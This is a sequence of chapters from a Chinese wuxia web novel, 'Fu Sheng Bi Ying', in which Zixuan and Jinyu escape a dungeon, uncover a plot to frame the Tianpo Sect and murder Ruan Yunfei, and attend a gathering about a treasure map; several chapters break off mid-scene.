紫璇练功已毕,向瑾瑜道:“一会我们要逃出去,第一关就是‘辽东双霸’,你可识得他们的武功路数?” 瑾瑜当然不知,紫璇本来也没有期待,点点头,向他介绍:“‘辽东双霸’出身辽东盗匪,因着江南富庶,油水比北边大些,一向在江南一带作案。听说他们几年前劫掠了一名奉旨南巡的钦差,惹恼了朝廷,就此销声匿迹,没想到竟是被倪家庄收入了麾下。” “这‘倪家庄’是什么来路?” “这个我也不知道,按说倪家庄能笼络赵绪良这样的高手,江湖上应当声势不小才对。” “倪家庄此次大费周章,看来是准备过明路上来了。” “恐怕没有那么简单,到目前为止出面的都只有赵绪良一人,庄主是谁,倪家庄还有多少人马,别说我们不知道,估计被请来的那些人也都一头雾水。” “倪家庄这样处心积虑、讳莫如深,难道背后还有什么阴谋?” “很有可能,只是眼下我们还虑不到这些。” “对,这‘辽东双霸’武功如何?” “老大武永新练的是拳脚上的功夫,一套擒拿手练得很是熟稔,近身攻击少有下风,其余的到没什么大不了。老二张红柳在暗器一道上颇有心得。这两人作案,往往张红柳用暗器打头阵,逼退车马,武永新再上前动手,的确是绝佳的一对。”最后这一句紫璇说的十分鄙夷,似乎她很看不起辽东双霸。 “那咱们如何对付他们?”瑾瑜向上看了几眼,又道,“这铁栅栏上了锁,如何才能弄开?即使开得了锁,也难保不被‘辽东双霸’发觉,更不用说一旦交上了手,定会引来这庄中上下,到时候咱们更加走不脱了。” 紫璇微微颔首:“你分析得不错,基本都算到了。这第一,这把匕首削铁如泥,我乔装打扮,不能带惹眼的兵刃,故而只携了它来,此时正好派上用场。至于后者也不是问题,只要我们能先发制人,擒住他们,便不会有后面的麻烦。” 瑾瑜听她说的轻松,不禁担心:“我们二人要想强闯出去,很难不见血光。他们不过奉命看守,不至于要了他们的命吧。” “那怎么办?难道让他们杀了我们?” “我们并不知道余漱的秘密,你说倪家庄审问过后,会不会放了我们。”瑾瑜也知道这不过是自己痴人说梦,是以说到后来,声音都听不见了。 紫璇忍住白眼:“从昨晚到现在,你也见识了不少。你还以为这些人会和你讲道理吗?”见他气馁,又补上一句,“而且正如你说,倪家庄所谋甚大,无论是抓住你还是请来这些觊觎余漱藏宝图的人,都不过是阴谋的一环,你是不是真的牵涉其中,根本不重要。” 瑾瑜明白,但仍不愿害人性命,支吾着:“那怎么办?” 紫璇以为他问的是接下来的计划,便答道:“我们逃出去躲在暗处,听听他们密谋些什么,不就都知道了。” 此时已无善法,瑾瑜也不至于天真到守死规矩,便收拾心神,跟上紫璇的思路,问道:“他们居高临下,此刻又不见踪影,我们就如同定点的靶子,要想先发制人,谈何容易?” “所谓‘辽东双霸’不过是他们自吹自擂,江湖上的人给个面子罢了,这种盗匪出身的人武功都不算很好,我们两个尽可对付得了。” “你年纪看上去比我小,武功却比我好得多。” “你除了会一些剑法,还有什么擅长的没有?” “轻功还过得去。” 听到这,紫璇第一次流露出欣喜:“你会轻功?那再好不过了。一般人都以为轻功不过是逃脱保命用的末流功夫。实际上轻功练得好对拳脚兵刃都大有益处。有了,咱么便这么办。”如此这般,便向瑾瑜讲起逃脱的法子。 说罢,瑾瑜喜道:“如此最好,也不会被人发现我俩逃走,你果然聪明。” “聪不聪明是一方面,还要看咱们的运气。” 虽然知道黑暗里紫璇根本看不见自己,他还是下意识点点头,之后便不再说话。 ********************** 又堪堪等到半夜,顶上来往的脚步声渐渐止息,地牢中仍旧黑沉沉的,瑾瑜的心却愈发紧张起来。 紫璇在他耳边轻声提醒:“时候到了,咱们动手吧。” 瑾瑜用力点了下头,从紫璇手中接过匕首,微一运功,在地牢底部和右壁上连续一点,飞上了地牢顶部。拿着匕首的手用力一挥,匕首便没入墙内,这地牢四周本是岩石筑成,匕首扎在其中稳稳当当,正好可做支撑。 地牢顶部要比低下亮的多,借着外面的光,瑾瑜找到铁栅栏上的锁,一只手抓住一根铁栏杆,另一只手用劲拔出匕首,在锁上一斩,“当啷”一声,锁应声而断。 这一声立马便会引来敌人,瑾瑜赶忙坠下。底部紫璇已听见锁断 7. 脱身(二) 《浮生碧影》全本免费阅读 倪家庄占地极大,院落众多。各门派的人手都在管事的安排下分散在各处,鉴于自己并不清楚倪家庄的房屋布局,贸然出去只会惹人瞩目,紫璇二人只好先在一间空无一人的大屋子里藏身。 二人不敢点灯,只能借屋外院中的一点灯光照亮。瑾瑜朝外面看了一会,确定无人追来才放下心来。再看紫璇时,她已经拔出肩上那枚钢钉,又不知从哪拿到一块布,用力按在伤口上,努力不让血迹喷溅到各处,此时那块布已经被流出来的鲜血浸透了。 瑾瑜见状赶忙过去,想帮忙又插不上手。金创药在杨焕那里,自己根本不知道此时要如何帮她止血。他只能懊悔自己这般缺少江湖经验,竟然没有让杨焕把药留下来。 他见紫璇面色冰冷,又不发一语,担心她太过煎熬才说不出话来,关心道:“很疼吧。” 紫璇瞟了他一眼,微微带了轻蔑的笑:“这算什么。” 瑾瑜有些讶异,但想到她武艺高,经验多,不怕疼也是有的。担忧之心渐去,又自责道:“都怪我功夫不济,临到用时顾此失彼,害得你还要来救我,才受了伤。” “临阵对敌,受伤乃是家常便饭。没什么大不了的。” “我知道,只是……总归是我没有做好我那一份……” 紫璇虽和他相处时间不长,但也看出来他是一个真诚善良之人,见他如此内疚,仿佛她受了多大的伤似的,自己反倒不自在,下意识安慰他:“没事的,我已封住了这周围大穴,血一会就会止住,又不会死。”又叫他,“你来帮我按着这里,我找药。” 瑾瑜忙伸手按住,又怕她疼,犹豫着不敢使劲。 “你不用力怎么止血?” “我怕你疼。” 紫璇哑然失笑:“还真是富家公子哥儿,这么娇气。我要是这点疼都受不住,还怎么行走江湖。你放心按,我保证不喊疼。” 瑾瑜从命,紫璇明显吃痛,下意识咬住嘴唇。他虽然不忍,但明白止血事大,并不敢撤回力道。过了一会,紫璇缓过劲来,才从怀中掏出两个小瓷瓶,递给瑾瑜其中一个:“取两丸,你我各自服下。” 瑾瑜照办,又见她还拿着一瓶药,便问:“那瓶呢?也要吃吗?” 紫璇叹了口气:“这是我日常吃的药,你帮我取一丸吧。” 这药比刚才的要小一些,还是一种奇怪的蓝色,瑾瑜很好奇:"你怎么了?这是治什么的?” 紫璇不语,待血止住、包扎好伤口后才吩咐他:“你要是精神还好就帮忙望风,我先休息一下。两个时辰后,你叫醒我,我来替你。” 可能是因为受了伤,紫璇夜里睡得极不安稳。瑾瑜也不敢再去打扰她,便自己一个人守了整晚,直到东方泛出一点白色时才终于招架不住,沉沉睡去。 门外响起一阵脚步声,紫璇警觉,率先醒来。她轻手轻脚地走到门边,朝门外望了望,看到两个男人正往此处而来,似乎还在争执些什么。她急忙唤起瑾瑜,把止血的布头塞进看不见的角落,拉着他躲到了房梁之上。 来人一前一后进得房来,后面一人正是赵绪良。只听他说道:“夏兄切莫心急,我家主人留着阮云飞还有用处。你着急除掉她,只会让我们的筹谋毁于一旦。况且她一个女人,不过暂代掌门之职,沈一峰已死,彭城派中以老兄你的武功最高,这掌门之位迟早在你的囊中,你又何必急在一时呢。” 姓夏的老大不满,气冲冲地道:“又要我等!你别忘了我们合作的条件!如今沈一峰已经死了好几个月了,我却还没拿到这个掌门之位。你不知道,姓阮的那婆娘刁钻的紧,虽是女流,但是惯会收买人心,她坐的时间越久,这个位子就越稳当。我那大师兄也不是省油的灯,眼看着掌门之位离我越来越远,我如何能不急!” 赵绪良仍是不疾不徐:“夏兄不就是因为彭城派内势力众多,自己不能力排众议一举夺得掌门之位,才与我们合作的吗?现下阮云飞尚有利用价值,如果我们现在就出面支持你坐上掌门之位,谁来替沈一峰报仇?” 姓夏的仍是不快,反驳道:“沈一峰既然是彭城派的掌门,我自然也会为他讨回公道。” 赵绪良压着不快,向他解释:“话虽不错,但阮云飞始终是沈一峰的结发妻子,这女人嘛,别的好处没有,但在眼泪上的功夫一等一,如能在恰当的时候使出来,可比男人的刀枪有用得多。没了姓阮的,要获得武林同道的同情,共同讨伐天魄门就难了。” 姓夏的嘴里咕哝了几句,听不清楚说的什么。 赵绪良又道:“至于她的掌门之位能不能做的稳,就要看夏兄的本事了。你且暂耐一时,阮云飞已到了倪家庄,今日正是关键。待她作为苦主,代表武林正道控诉天魄门,那时你再杀了她,我们还可将她的死说成是天魄门恼羞成怒、痛下杀手。夏兄不仅能除去心腹大患,还能因讨伐天魄门、为两任掌门报仇有功而名正言顺地登上掌门之位。还有比这更好的棋吗?” 姓夏的没说话,似是不太满意赵绪良的说辞。 赵绪良继续加码:“如若你不信我,不如和我去见少主。我相信他也是这个意思。” 姓夏的似乎对这个“少主”颇为忌惮,立刻拒绝:“那倒不必。你的意思我知道了。” 赵绪良呵呵一笑:“这就是了。别说我事先没有提醒夏兄,彭城派中看不得阮云飞代行掌门、愿意出头讨伐天魄门的人可不只你一个。” 姓夏的默然无语,显然是在琢磨这话的意思。 “时候不早了,夏兄还是先会齐彭城派的人马,去正厅吧。”赵绪良说完这句便离开房间,大步而去了。 姓夏的等那人走后,骂了两句,才急忙离开。 待二人去的远了,瑾瑜才带着紫璇落回地面,揣度着刚刚听来的秘密,向她问道:“彭城派、天魄门?还有沈一峰、阮云飞?这些人都是谁,你知道这回事吗?” “沈一峰是彭城派掌门,接过掌门之位不过五载。他武功尚可,在江湖上也颇有名声,不过年前突然被杀。因为死的蹊跷,死前也没有遗嘱,她的妻子阮云飞便被推为代掌门,准备联络武林同道,查出真相,为夫报仇。” “可是听那个姓夏的之意,他想取而代之?” “姓夏,又和阮云飞同辈,当是夏中宇了。听说在彭城派年轻一辈中,他的武功最高,却不想竟是个卑鄙小人。 “这个天魄门又是什么门派?为什么赵绪良要利用阮云飞栽害它?关键是沈一峰已死,他们 8. 阮云飞(一) 《浮生碧影》全本免费阅读 瑾瑜快速剥下两名护院的外衫,两人换上后便摸出院中,一路小心不去人多眼杂的地方。所幸倪家庄此时多了许多外人,对庄中护院并不熟悉。两人在路旁匆匆走过,众人也只当他们是另一伙寻找丢失物品的护院。 两人行至一个偏僻院落,正好遇到两位真正的护院。他们正坐在一处回廊上躲懒。 紫璇上前,粗着嗓子问道:“你们找到那两个小子了吗?我们都都翻遍了也没发现他们的影子。” 其中一人极不耐烦地说:“这庄子这么大,他们又逃了半个晚上,哪还能找得到?” 瑾瑜也顺着他道:“就是,这‘辽东双霸’听说很厉害,怎么反而叫两个小子给制服了?” 另一人讥诮道:“厉害?厉害能叫人给拔了舌头?一将不成累死三军,大早上的,我还没吃早饭呢,就被赶着找人。” “谁说不是呢。我的相好被派去服侍什么阮云飞了,你知道她住在哪吗?这人看样子是找不到了,我去干点旁的事。”紫璇撒了个谎。 “阮云飞?谁呀?不知道。” “就是什么彭城派的掌门,大概三十来岁。” 此时另一个护院插进来:“你是说昨天晚上来的那个女的吧,长的一般,据说是一派掌门。嘿嘿,你说这世道也真是,什么时候女人也能当掌门了?” 紫璇忍住恶心,继续问:“对对,就是她,我的相好给她送吃的去了。你知道她住在哪吗?” 那人道:“好像是什么远山院,我听我们小队长分派任务的时候说的,应该就在这左近。” “多谢。”话音未落,那人已被紫璇打晕过去,瑾瑜也出手打晕了另一个。 紫璇没想到他如此敏捷,笑着说:“怎么,今天不计算一些这些人的罪过大小啦?” 瑾瑜略有些脸红:“事急从权,我们这么显眼,他们随时都可能反应过来,现在可不能冒险。”又疑惑道,“你为什么要问阮云飞的住处?” “三言两语说不清楚,我们赶快走吧。” 二人将被打晕的两个护院藏于屋内,便再次步出院外,依仗护院的打扮,找正在向各处派送饭食的侍女问明了远山院的所在,然后小心翼翼地避过大队来往的护院们,赶往远山院。 好巧不巧,二人到达之时,一队护院也正往此处而来。紫璇扯住瑾瑜,引着他往侧门而去。看清楚四下无人后,她便在瑾瑜耳边低声嘱咐:“一会千万不要反抗。” 不等瑾瑜明白过来,她左足用力一点,带着瑾瑜飞身越过了院墙。只听见一声警觉的“谁!?”,几个年轻弟子将他二人团团围住。四五个剑尖抵在喉咙边上,还好瑾瑜记得紫璇刚刚的话,才没有叫出声来。 不待来人发问,紫璇先自报来意:“我要见阮掌门。” 当先一人叱道:“先报上名来。” 紫璇有些着急,但仍旧压着性子:“倪家庄的人马上就到了,如果不想阮掌门受人蒙蔽,傻傻地做了别人的刀,就赶快带我去见她!” 众弟子们看到二人身着倪家庄护院的服色,却说出这样的话,均疑惑不解,相互交换起了眼神。 正在对峙,圈子外面响起一名女子的声音:“此话何意?你是谁?为什么要见我?”原来已经有其他弟子去报知了阮云飞。 众弟子侧身让出一条路来,但指着紫璇二人的剑尖还留在原来的位置上。 阮云飞三十来岁,不施脂粉,全身缟素。虽不是十分的漂亮,但从容大气,此时居高临下,更加有一派掌门的气势。 紫璇盯着她:“阮掌门,倪家庄这出借刀杀人的好戏,你当真没有瞧出来吗?” 阮云飞不受她激,沉声道:“你说谁是‘刀’?信口开河,想骗我?就不怕我杀了你?”持剑的弟子闻言,剑尖又往前进了一寸。 紫璇却丝毫不惧,像是根本看不到面前白刃一样,反而笑了:“我和阮掌门打个赌如何?” 阮云飞也冷笑着:“哦?什么赌?” “倪家庄走失了两个重要人犯,却不敢光明正大地搜查,偏要伪装成寻找丢失宝贝的模样。我就和阮掌门赌一赌,这是为什么?” “原来你们就是……”瞧着他二人的打扮,又是如此行事,阮云飞不难猜到他们的身份。 话尚未毕,门口已经响起倪家庄护院的叫门声。 她犹疑片刻,吩咐大弟子:“原航,去看看有什么事。”又安排身边两位弟子将紫璇二人带到房中。 原航领命,带着其余同门前去应门,礼貌地问来人所为何事。这队护院的领队按照头目交代的说了。 “丢了东西?兄台明鉴,我们彭城派昨日到得晚,住进来之后便不曾开过这院门。就算是庄主丢了什么东西,它也决计不可能在这里。” 领队态度强硬:“这是庄主吩咐下来的,我们也没有办法。你让开些,我们左右看看,若是真没有,彼此去了疑心就好。” “阁下此意,便是把我们看做贼人了?如此羞辱我们,便是你倪家庄的待客之道吗?”原航也不甘示弱。 那领队见言语上占不到上风,就准备硬闯。原航一声令下,跟来的众弟子纷纷亮出兵刃,绝对不允许他人擅闯掌门人寝居。领队不敢做得太过分,只好叫过一个护院,在他耳边说了一些什么,那人便小跑离去了。彭城派众弟子便和剩余的几名护院这样僵持着。 另一边,紫璇和瑾瑜被带到一间卧房之中。屋内整齐干净,各项物事除了被褥以外都未曾动过,床边还放着一口大箱子。看样子,阮云飞刚刚到达倪家庄不久,只住了一个晚上。 两名弟子均持剑横在紫璇和瑾瑜的脖子上,让二人不敢轻举妄动。 阮云飞坐下来,上下打量着紫璇和瑾瑜,接着刚才的话头:“你们就是他们所说的,庄主前天夜里抓到的那两位谋害余漱之人吧?” 紫璇淡淡笑着:“阮掌门果然睿智。” 阮云飞冷笑一声:“据说你二人被曾经为害一方的‘辽东双霸’看守着,能从他们手底下这么轻易地逃出来,要么武功不弱,要么谋划不小。” “阮掌门谬赞。辽东双霸再怎么厉害,也不过是倪家庄收养的两条走狗而已,只要找准了他们的弱点,不难收拾。哪比得上倪家庄现在织下的一张大网,阮掌门不知就里,就准备往里钻。” 阮云飞见她一再讽刺,却又不明说,不免气闷,也叫板道:“你谋害余漱不成,成了倪家庄的阶下囚。如今脱身困难,便跑来消遣 9. 阮云飞(二) 《浮生碧影》全本免费阅读 “并没有,阮掌门猜错了。” 紫璇不卑不亢,倒叫阮云飞又一些意外。但她也不想轻易被她拿捏,便故意话里带刺:“你们杀害余漱不成,被人拿获,虽然逃出了‘辽东双霸’的看守,却走不出这铁桶似的倪家庄。打量我刚来不久,所知不多,说不定编一番谎话我就信了,这才来找我,指望我包庇你们,不是吗? “如果不是我自己想来,就凭那些人的功夫,怎么可能抓得住我?” 她不仅淡定,还很自负。可看着她不过十六七岁的年纪,口气再大阮云飞也不会轻易相信。只不过,从这句话里可以得知,她来倪家庄似乎还有别的意图。 “你是说,你是故意被他们抓来的?你想干什么?” 阮云飞的口气比之前和缓,紫璇也就无需继续强硬:“晚辈来此,就是想亲自探一探此事背后的阴谋。我们已知,倪家庄此次邀请江淮武林同道并非是真心要为沈掌门之死寻找线索、查明真凶,而是想要制造机会,陷害他人。未免阮掌门一无所知便着了奸人的道,我们才冒险来此,提醒于你。” 又是这番说辞! 阮云飞呵呵笑了两声:“好一张巧嘴,明明是走投无路,却要说成是为了我好才来到这里的。”旋即变了脸色,“如果不是来找我,你们难道还有什么办法能躲过倪家庄的大肆搜捕吗?!” “是,单凭我们自己要逃出去不容易,但也并非毫无可能。毕竟聚集在此的人,有哪个不是为了藏宝图而来的?只要我随便找一个想得到藏宝图的门派,他们定会瞒过倪家庄,将我们安全带出去。” 阮云飞还在掂量她这话有几分真假,她已经往下说道:“倪家庄里,人人都觊觎余漱手中的藏宝图,恨不能自己独吞。是以任何人发现我们都不会透漏出半点消息,只会将我们偷偷藏起来。也只有沈夫人是真心实意要为夫报仇的,你听了我的申辩,即使尚未全信,也必会处处留心。如果我的推断大致不错,待倪家庄露出马脚,沈夫人自然会再信我几分。” 这话倒有些意思。阮云飞眉毛一扬:“然后呢?” “然后,沈夫人就有可能和我结为联盟,合作查出沈掌门被害的真相,击破倪家庄的阴谋。这不比我只是逃出去,捡一条命要划算得多吗?” 阮云飞虽然还不是十分相信她的这番辩解,但也不由得赞叹:“危险当前,还能计算怎么做更有利,小妹妹,你的胆色倒是不错。” 紫璇微微一笑,并不接话。 “你说倪家庄此举是为了陷害旁人,莫非你已经知道他们想要陷害谁了?” “倪家庄想以藏宝图为引,将所有凶案牵连到天魄门身上。” “天魄门?他们沉寂多年,也未听说近来参与了什么江湖争斗,倪家庄为何要这么做?” “这也是我想要知道的。” “你所谓的合作,就是想从我这里知道待会大会上的情况?” “这是第一步。要想破局,就得先听听倪家庄布了什么样的局,要如何陷害天魄门。” “既然你们身在局中,就不怕我听完此中是非,反而认定你们就是凶手?” “阮掌门不会。” “哦?” “是假的就一定会有破绽,倪家庄的目的并不单纯,其他人被贪欲蒙蔽,或许发现不了。但你心无旁骛,一心只想找出真相,只要有所提防就不难从中发现疑点。到那时,你必然也想先听听我的故事,再做判断。” 阮云飞暗暗思忖:“她有这份自信,难道倪家庄真有问题?” 面上却不显露分毫,接着询问:“这么说,你是天魄门的人。” 紫璇郑重施了一礼:“晚辈天魄门文紫璇,门主文远骥是我的父亲。适才情急,言语间多有得罪,还请掌门人莫怪。” 阮云飞哼了一声:“失礼事小,欺侮事大。要是被我发现你故弄玄虚、蒙骗于我,我定然不会轻易放了你。” 紫璇泰然道:“这是自然。如若阮掌门还是疑心未去,尽可以将我们绑缚在此。等你听完倪家庄的说辞,自会有判断。但要是我所言不假,倪家庄另有所图,还请阮掌门与我联手,协力查出杀害沈掌门的幕后真凶,以防有心之人栽赃天魄门。 阮云飞见她坦诚,倒也不欲真的绑了他们。正要说话,一位弟子急匆匆闯进来:“师娘,倪家庄又来人了,一定要进院搜查什么宝物。这回来的可是赵绪良。” 急切间无处躲藏,阮云飞掀开床边的大箱子,拿出其中盛装的一干衣服物事,招呼紫璇和瑾瑜躲进去。 紫璇最后又提醒她:“还有一事,夏中宇早已和倪家庄勾结在一起,恐怕还要害你,阮掌门务必小心。” 阮云飞闻言更加惊讶,但外面脚步声已近,容不得她多问,只能和弟子七手八脚将许多衣服物事盖在二人头上,合上箱子。 瑾瑜虽然心中有诸多疑惑,此时却不敢出声,只好耐着性子仔细听箱子外面的动静。 房中安静了一瞬,然后院子里就响起了吵嚷声,似乎双方起了争执。争吵声越来越近,有人撞开门进到外间,同时有人喊道:“那是我们掌门的卧房,你们不能进去!” 这时阮云飞的声音响起:“赵兄?你这是做什么?” 赵绪良道:“沈夫人莫怪,我家庄主今晨丢失了一件重要的宝物,正在着人四处寻找。为免瓜田李下,您这里还是查一查的好。刚刚彭城派诸位弟子阻拦护院们进来,这才起了些争执。” 阮云飞就势问道:“原来如此,都是哪些弟子阻拦了赵兄啊?” 便有七八个人的声音同时答道:“弟子莽撞,请掌门人责罚。” 阮云飞却笑了起来:“责罚什么,身为彭城派弟子,护卫掌门人的居处本是应该,你们几个做的很好,回家后我自有奖励。” 那几名弟子欢天喜地地称是,倒是赵绪良变了声音:“沈夫人,你这是什么意思?” “赵兄是聋了吗?我在夸奖门下的弟子守卫得当,你没听到?”阮云飞停了停,又道,“赵兄要找寻丢失的宝物,我们当然不敢阻拦,但是这般不由分说就往一派掌门的房中闯,是哪一处的道理?我想就算是你家庄主亲自过来,也要在门外问一声吧?” 其实赵绪良只是带着护院闯进了外间,还没有到达阮云飞的卧室。她这样说,是想让赵绪良自觉理亏,先矮上一头。再加上她刚才听了紫璇的一番说话,已知倪家庄还此时不敢过分地得罪于她,自然也敢硬气一点。 赵绪良自知失误,不好反驳,但他是武林上成名的前辈,阮云飞还要比他小好几岁,此时便有些拉不下面皮来。 阮云飞又带了些嗔怒道:“何况我是女人,你一个大男人闷不吭声就闯进来,是何居心?我夫君英灵在上,岂会容你这般放肆!你们倪家庄是瞧不起我彭城派孤儿寡母,故意羞辱于我吗!” 赵绪良这才赔罪道:“是在下考虑不周,莽撞了,沈夫人宽宏大量,莫要怪罪。” 阮云飞没有接话,等了好一会才软下声音:“赵兄,我身为女人,做这个彭城派的代掌门本就不易,你这般不给我面子,让我这些弟子们瞧了去,叫我以后如何在派中树立威信?” 不得已,赵绪良又告了好几声罪。 阮云飞知道这出戏不可唱得太过,于是变换了另一幅口气:“庄主这是丢了什么?值得如此大费周章地寻找。” < 10. 藏宝图(一) 《浮生碧影》全本免费阅读 阮云飞率众弟子到达正厅时,这里已经聚满了人。赵绪良正在安顿长业帮众人,见她进来,忙将她引荐给长业帮帮主朱鸿旭。朱鸿旭年过五旬,执掌长业帮近二十年,一向颇有威信。就在一月,长业帮三位长老于同日暴毙,与沈一峰身亡相距不过半月。死去的三位长老都是朱鸿旭的师叔,武功不弱,能被人同时杀死,的确是骇人听闻。阮云飞按照武林中的规矩给朱鸿旭见礼,朱鸿旭也以礼相待,一时寒暄未毕。 正厅颇大,能够容纳得下上百号人,厅后方竖着一副巨大的屏风,屏风前是主座,从主座往下是两溜太师椅,椅子中间间有高几,上面简单摆了几样精致的点心并一壶酒水和两个酒杯。太师椅后面则是一些长桌并一些凳子,桌上也有吃食。此时各派来人彼此问候的声音不绝于耳,日前追捕瑾瑜的流沙帮邓钊、吴先生、太湖水匪郝鹏祖和林夫人及项式兄弟也携带着自己的门人聚集在此。 阮云飞不时看见一两个自己熟悉的江湖人,一边打着招呼,一边又想起紫璇的那番话,心下暗道:“不管倪家庄目的为何,能将这些人同时请来,所下的本钱着实不小。” 引荐完朱阮二人,赵绪良便闪到屏风后面去了,此时再度出现,通报“庄主到”,立刻安静下来。 一位年轻男子自屏风后步出,向庭上众人拱手:“各位武林前辈光临倪家庄,当真是蓬荜生辉!” 来这里的人大多都是因着余漱和藏宝图而来的,少部分是为了探究长业帮、彭城派及泰州杨世坤一家命案的真相,对倪家庄均是一无所知。饶是如此,众人也从未想过,倪家庄的主人竟是个年轻人,纷纷你看看我,我看看你,毫不掩饰面上的惊讶。 庄主只有二十来岁,刚出来时引发了在座众人的私语。毕竟倪家庄看上去声势浩大,没想到当家人竟然如此年轻。他的身后跟着两个护卫,各自佩着一柄短刀,目光如炬,十分警觉。他说完第一句话,就于主位上落座,护卫们立在两旁。 一时间厅上都忙着打量他,无人回应,最终是吴先生先道:“庄主见邀,我等不胜荣幸。”其余各派的首领们也都说了几句客气话。 庄主又道:“各位远来是客,倪家庄若有招待不周的地方,晚辈在这里向诸位赔罪了。” 林夫人拱手:“庄主太客气了。这两日好酒好菜,比我们家常吃的不知好了多少。” 庄主向她还礼:“林夫人过誉了。”又举杯道向众人:“诸位前辈,在下家中事物繁杂,一向甚少在江湖上走动,不免有些疏忽问候,借此良机,容我自罚一杯。” 喝下酒后,他继续说道:“在下虽然在江湖上籍籍无名,但素来敬仰侠义之士的所言所行,愿意效法先贤为维护武林公道而做些事情。在下不通武艺,降妖除魔非我所长,只有这份祖上挣下的家业,拿来为武林同道做个道场倒还绰绰有余。” 话音刚落,厅上就有一些人为此叫好。 顿了顿,庄主接着说:“数月之前,江湖上的朋友向在下提起了几桩新近发生的命案,怀疑这背后另有隐情。在下便留了心,今日请各位前来,就是想与各位前辈共同商议,为枉死之人讨回公道。” “庄主急公好义,正是我辈楷模。”仍是吴先生最先回应。 庄主忙拿出谦虚的姿态:“吴前辈这样说,倒叫我不好意思了。”哈哈一笑,厅上气氛更是热烈。 紧接着,他又说:“江湖众人本就同气连枝,你我关心此事分属应当。不过,真正痛彻心扉的还是死去之人的亲朋故旧。” 便有许多人一齐称是。 “在下左思右想,觉得今日之会实在是少不了这两位,让诸位稍等两日,就是为了请到贵客。” 赵绪良接过话头,向厅上众人介绍了坐在庄主下首的朱洪旭和阮云飞。 朱鸿旭起身抱拳:“庄主与各位的深情厚谊,在下先谢过了。三月前我帮中三位长老同日遇害,凶手至今逍遥法外。此仇不报,我长业帮上下都难抬头做人,倪庄主相邀,愿意将三位长老遇害的线索告知,老夫才不远千里前来。只希望今日之后,我长业帮能报仇雪恨。” 他话音刚落,庄主便立即接口:“朱老爷子放心,我们已找到关键之人,今日之内定有线索。” 阮云飞也起身向厅上众人施礼:“各位前辈、朋友,我身为女子,本不该抛头露面,只是我丈夫死因未明,大仇未报,才不得不收拾精神奔走江湖。只要哪位前辈能助我彭城派查明真相,手刃仇人,阮云飞愿以命相酬!”说着便敛衣下拜。众人被她的沉痛所感染,一时间都沉默了。 林夫人出众上前,扶起她:“沈夫人,快快请起,大家都是朋友,只要咱们齐心协力,一定能助你查清真相,为夫报仇。” 阮云飞低声谢过,又回到座位上。 “杨氏满门被灭,是以无人前来。”赵绪良补充完这一句,厅上人声便又窃窃私语起来。 少停,年轻的庄主抬手平息声浪,往下说道:“彭城派沈一峰掌门、长业帮三位长老以及杨世坤一家在几个月间相继被害,凶手未明,人心不安,有损天理正义。幸好老天有眼,倪家庄在查访过程中发现,这几位的死似乎都和一副藏宝图有关。想必在座诸位多少有些耳闻……” 他话说到一半便停了下来,享受着此刻大厅上再次爆发的声浪。 阮云飞听他说到“藏宝图”,又见厅上众人大多露出急切和贪婪之色,心道:“又被她说中了。” 过了一会,庄主才又继续:“我们还查到,大财主余漱也牵涉其中。余老板和杨世坤是好朋友,早就熟识,想必了解不少内情。在下便想到,这找出线索,问明真相之事需得着落在余老板身上。” 郝鹏祖不太能沉得住气,立刻吼道:“我们也知道这些,可是余漱呢?还不是让他给跑了!听说他把藏宝图留给了那个乳臭未干的小子,快叫那个小子出来,审一审就知道了!” 庄主仍旧和颜悦色,丝毫不把他的无礼放在心上:“郝寨主说的是。那个小子自然要审,不过不只是因为他得到了藏宝图, 11. 藏宝图(二) 《浮生碧影》全本免费阅读 “就是这张藏宝图。我们原以为它是求财的法门,谁知却是催命的鬼符!” 此话再次勾起了厅上所有人的兴趣,许多人都急不可耐地催促他赶紧快些讲来。 铺垫已足,余漱便开始娓娓道来:“这事要从一年前说起。诸位可能知道,我与杨世坤杨兄本是同乡,一向都有来往。杨兄知我平生最喜和江湖上的豪杰交朋友,是以不时邀上三五好友,到我这里来散心取乐。 “就在一年前,杨兄带着彭城派的掌门沈一峰兄弟一同来访,初时我只当与往常一样,醉心于能和彭城派掌门结交,赶紧吩咐下人们拿出好酒好菜来招待。不想杨兄此来别有深意。他叫我屏退众人,只我们三个说话。据他所言,月余前他受邀护送一个地方官的家眷上京,一路太平无事。这地方官的老父亲是个好奇尚异的老人家,闲着无事总爱拉着杨兄,让他讲一些武林掌故来解闷。后来又听这位老翁说,他家祖上原先也是武林中人,只是后来归隐田园,他的子弟一心向学考取了功名,这才走上了仕途。” 朱鸿旭颔首道:“这样的事在武林中并不少见。莫说那没有闯出名声的江湖人,便是成名已久的武林翘楚,也有不少为子孙计,退隐江湖,不问世事。” “朱老爷子江湖阅历最广,这样的事没人比您更清楚。”吴先生奉承他道。 庄主也说:“是啊,晚辈也曾听说,一些武林前辈退隐后要么进学求功名,要么经商做富家翁。” “按这位老翁的说法,他家祖上在武林中还不是那等籍籍无名之辈,似乎还有一个绰号,叫做‘神锋无影’……”余漱继续。 厅上众人咬了好一阵耳朵,可是一无所获,似乎谁都没有听说过这样一个名号。 “这老翁的先祖仙去已经一百多年,诸位没有听过这个名号并不稀奇。我和杨兄弟也是经过多方查访,才弄清楚这‘神锋无影’到底指的是什么。” 朱鸿旭沉吟道:“‘神锋无影’,‘神锋无影’,我好像听过这个名字……“他的声音极小,除了在他近旁的几个门人,谁都没有在意。 “据那老翁所说,他家以‘不涉江湖,一心仕途’为家规,加上年深日久,从他出生起就不曾在家里见过什么武功图谱,父母兄弟在武学上也都是一窍不通。但年轻时也曾羡慕江湖浮华,小时候没少缠着族里的长辈们说一说家族故事。这些故事大都是些难以考证的无稽之谈,唯有一样让杨兄上了心,那便是他家先祖退隐江湖时留下来的藏宝图……” 不出所料,听到这三个字,厅上之人都不由自主地竖起了耳朵,听得更加仔细。 “依那老翁所言,似乎这图最早由族长保管着,时间一长,家里人就逐渐不那么在意,后来再想找出来就发现已经找不到了。他们家官越做越大,也不在乎这些东西,到他们这一辈上,就只把它当成个传说来听,谁也没真当一回事。 “杨兄却不这么想,他常年行走江湖,听过不少武林秘闻。像这样的传闻多半都有其渊源,只是难以查考罢了。而且武林前辈留下来的宝藏,除却金银财宝,很可能还有武功秘籍,这就不能不让人心动了。我在官场、商界和江湖上都有朋友,杨兄来找我,就是想通过我的关系打听打听这‘神锋无影’到底是何人,如果能够查访出这位前辈过去一星半点的行迹,说不定就能顺藤摸瓜,找到这张藏宝图。他还答应我,事成之后,不管是找到的是财宝还是武学,都由我们几个共享。 “说来惭愧,余某人并不缺钱,只是这等流传百年的秘密宝藏,听来令人心痒难耐,自然是想一探究竟的……” 郝鹏祖忍不住插话:“人为财死、鸟为食亡。就算是余老板贪图这财宝,也不是什么见不得人的事。”说罢大笑几声, 